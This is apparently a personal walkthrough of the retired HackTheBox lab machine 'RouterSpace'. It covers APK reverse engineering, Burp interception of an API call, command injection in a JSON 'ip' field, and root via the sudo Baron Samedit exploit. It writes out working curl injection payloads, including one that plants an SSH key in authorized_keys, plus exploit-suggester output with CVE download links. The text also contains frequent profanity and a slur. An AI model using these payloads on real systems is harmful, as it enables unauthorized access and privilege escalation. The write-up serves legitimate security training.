HackTheBox: Routerspace

01/13/2024

Retired easy box, rated 3.8/10 difficulty (same as [[TwoMillion]])

Enumeration

Only SSH and HTTP are open.

I was mistaken that this would be a router itself; it looks like the site is just the sales page of a router company.

Wappalyzer shows an extension called 'Popper' which searchsploit has a file inclusion exploit for. I need to know the scripts directory to use it though. So let me run gobuster on it. Obviously Im not entirely sure if this is the right version of popper or even the correct software, but Ill take a shot at it

Hmm... apparently this will be harder than I expected. It returns a 200 status code for ALL requests, and prints a "suspicious activity detected" message, so it will be hard or impossible to brute force the dirs.

Okay, nevermind that. I fiddled with it a little more to see if I could find a way to brute force it with no luck.

I didnt even notice the "download" button that downloads an apk file, RouterSpace.apk. I guess I need to reverse it.

Before anything else though, I ran strings on it and skimmed through the output. A couple interesting entries:

Colombo1
Colombo1
routerspace.htb1
routerspace1
routerspce0
211118131521Z
490405131521Z0v1
Colombo1
Colombo1
routerspace.htb1
routerspace1
routerspce0

Let me add routerspace.htb1 and routerspace.htb to /etc/hosts and reload the page, see if anything's different... nope.

Let me try combinations of those other strings as ssh creds... publickey error, no good.

Installing the android-x86 virtual machine

Finally got it working. I know I tried this before for a HTB challenge but just got a tty, so I assumed it was way too complicated at the time. Thanks to some research (https://stackoverflow.com/questions/18223402/how-to-start-gui-from-command-line-in-android-x86) I was able to get the normal android GUI running by changing the display controller in the virtualbox settings. Sweet.

Anyway, I downloaded the 64-bit version of android-x86 VM .iso from here: https://sourceforge.net/projects/android-x86/

And installed it using the writeup here: https://www.android-x86.org/documentation/virtualbox.html

This was an adventure in itself. Involved formatting virtual hard disk with cfdisk utility; creating a single partition that occupies the entire virtual disk and making it bootable.

And now I should be able to run that .apk file from the download natively. Not yet though... I still need to get the lay of the land in navigating Android.

Im honestly not sure why this box was so poorly rated in terms of quality. This has been awesome, being forced to set up an Android dev environment and learning how to get a root shell on an actual android (NOTE: I actually used the terminal app to get a reverse shell on my real phone because of this, but it was so locked-down I couldnt do much of anything. See about adding permissions to it.)

Downloading the .apk file into the android vm

That was simple in retrospect, but in the moment it felt like a huge PITA.

What ultimately worked was hosting a python server on kali in the directory where the apk file was stored, then navigating to that directory in the android vm's browser to automatically download it. Then double-click it to install, which brings up a screen to enable the right permissions for chrome. Then it finally installs.

Damn. Okay, so I have it now.

Reverse engineering the application

This app doesnt do shit except for show a few obligatory "welcome" slides and then let you press a button labelled "Check Status", which just displays a message saying "Unable to connet to the server ! Please check your internet connection".

I know my internet connection is fine, because I'm able to view websites.

Let me fire up wireshark and see if anything is happening when I do the status check.

Nothing... the fuckin thing isnt doing anything.

Fuck it. It seems like android itself was actually a rabbit hole. Good to have anyway, but now I have to go back to square 1 and figure out what to do with this apk file.

Reverse Engineering the APK file

There's a package for linux called 'apktool' for reverse-engineering apks.

I still don't understand why this was so poorly rated... its unusual, but its a lot of fun. Maybe people just don't like reverse engineering or learning new platforms. This really should probably be classified as an android issue...

Anyway, now Im looking through the directories of the apk file after apktool unpacked it. Really feels like legit reverse engineering. Im enjoying it despite being more or less blind here.

Okay. So im working through the guide here () on reverse-engineering android APKs. It mentions using a tool called jadx to decompile the binaries.

Finding the main binary in a hacky way

I got impatient with sifting through the tons of files for something resembling a main binary. To find all the binaries without having to manually search for them, I leveraged the fact that linux executables' headers have the string "ELF" in them, and ran

grep -R ELF .

while inside the unpacked directory root. This recursively greps every file, including the binary ones, for the string "ELF". Basically, this returns the binary files.

This wasnt all that effective though, because there's a TON of binary files, in /lib. So its still looking for a needle in a haystack.

A better, lazier way...

Note that im not finding all this entirely alone. Im referencing blog posts and other internet resources to get the gist of where to go here.

One source (a page on reverse engineering apks) tipped me off that the "AndroidManifest.xml" file was important. I skimmed it for details on which executable to run and saw mention of com.routerspace.MainApplication, so I recursively grep'd the unpacked apk for MainApplication as follows:

grep -R MainApplication .

from inside the unpacked filesystem.

This found the target:

./smali/com/routerspace/MainApplication.smali

funny enough, this file does NOT have the ELF header, so my earlier method wouldnt have caught it anyway.

Ah fuck it. I took a look at the guided mode hints and it recommends using the "Genymotion" Android emulator. I guess Ill install that and take a look.

Running the apk again, in Genymotion

Im starting to see why people dont like this box, this is getting to be a pain in the ass.

Dude, fuck this. I should have left this one alone. The only reason I fucked with it is because I thought the target would be a router, which would have been cool to learn. This shit is just annoying.

And despite setting up a proxy to catch the requests in Burp, Im still not getting anything when I run "check status"

Running the apk AGAIN, in Genymotion, using Android API 8.0

Im so fucking sick of this retarded box at this point. For whatever reason the program wasnt even ATTEMPTING to send packets to the server in the version of Android I was using, so it wasnt an issue with my proxy or burp suite.

I made a NEW android machine with the older Android API 8.0, and NOW it works.

Fucking finally. Caught a request to server in Burp Suite

I now catch this request when I do "check status":

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1
accept: application/json, text/plain, */*
user-agent: RouterSpaceAgent
Content-Type: application/json
Content-Length: 16
Host: routerspace.htb
Connection: close
Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0"}

Im fucking irritated by this machine at this point, the stupidity of having to set up the VM just killed it for me. Now im just trying to be done with this piece of shit.

Anyway, this reminds me of [[TwoMillion]] with the API interface. I already saw someone in the discussion mention command injection, so I pretty much know what to do.

Fiddling with the API

I tried to enumerate the API with curl. From what I can tell, it will not present any sort of menu of options the way [[TwoMillion]] did; it looks like you have to know the endpoint. And the user-agent of "RouterSpaceAgent" DOES matter; if you attempt to POST to that endpoint without it, you get the "Suspicious Activity Detected" response.

Since someone already mentioned command injection Im just gonna go straight to trying that.

Easy. This produced a 10 second delay before getting the response:

$ curl -v -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H "user-agent: RouterSpaceAgent" -H "Content-Type: application/json" -d '{"ip": "0.0.0.0;sleep 10"}'

Let's try a busybox shell.

Nope, nothing. In fact, I cant get a reverse shell to save my life here; I cant even get a callback using wget, despite the fact that I know its installed (did ;which wget successfully).

The user on the other end is "paul", not the usual www-data. Even though I cant get a revshell, it looks like ill be able to write an SSH key into his home directory and get in that way.

I ran the following:

$ssh-keygen (just write the key as ./id_rsa and keep hitting enter till its done)

<cat the id_rsa.pub file and copy it>

$ curl -v -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H "user-agent: RouterSpaceAgent" -H "Content-Type: application/json" -d '{"ip": "0.0.0.0;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzG0ctIbtggtS9v6L1f1AQ01Wk2Ayv1/zx1nD7b0zMTQupFOiNSIgJtMIRsYLQOPpf9BHJLaQhRVwDlsDEZJvCbveqtJirDGZ8bEL4b7bRbIXlY1WpjEO/hNs8Hch7XL70KdHrfcHsr3xcdkKlbdgE28TZfvvng7L6tykAfeSbmwl00zqub+Ad0iwqktp6JL7JyRrD7bw+HPhORJyF2XkIu2PtpIcC/djkRC5C1x8QUiKn+81c5I8e/S/nvnHyN59tO9Fahe+aZeW49htiKpwpCQQmsTIqh8CffbVOMZlD9xY9h6Pv49V5fSQp6tPZbBaZIHi6ZOaWmrXoNUR+5235HMnh7OySPIBrtne5LuhGixXcWNff8Mzi9IxGD9RU21H5FfMqKUCIR0qSaWCTF4ppi61owpWmF+231fZKEbrxXn8WIEHyGd+7nbk08h719QO4k0OFvQUMqZg21ABFDsc94eucaaJE6GX094YYZ1jh5IBfNSySEbbnzX9mfPqLOt0= kali@kali > ~/.ssh/authorized_keys"}'

In the above command, that wall of text is the id_rsa.pub key. Write it into the victim's ~/.ssh/authorized_keys file and you will be able to ssh in without a password, using your key.

ssh -i ./id_rsa paul@10.10.11.148

paul@routerspace:~$

Awesome, got a shell.

Internal Enumeration

So I have a shell via SSH now. Still cant transfer files or do anything network-related, it seems.

I can still run linpeas though, by piping it through SSH like so:

cat linpeas.sh | ssh -i ./id_rsa paul@10.10.11.148

The newer version of linpeas I used here also runs an exploit suggester. This recommended the following CVEs:

[+] [CVE-2022-2586] nft_object UAF                                                     
   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

I used Guided mode here to get a hint, and it hinted that one of the 2021 CVEs works. I took a guess that the "sudo Baron samedit" one would do it, CVE-2021-3156.

I downloaded the zip file of exploits off GIthub (https://github.com/worawit/CVE-2021-3156) and the author recommended trying exploit_nss.py first on Ubuntu systems, which the target is. I simply uploaded the exploit file to the target over SSH using

scp -i ./id_rsa exploit_nss.py paul@10.10.11.148:~

Then, on the target, I ran it:

paul@routerspace:~$ ./exploit_nss.py 
# whoami
root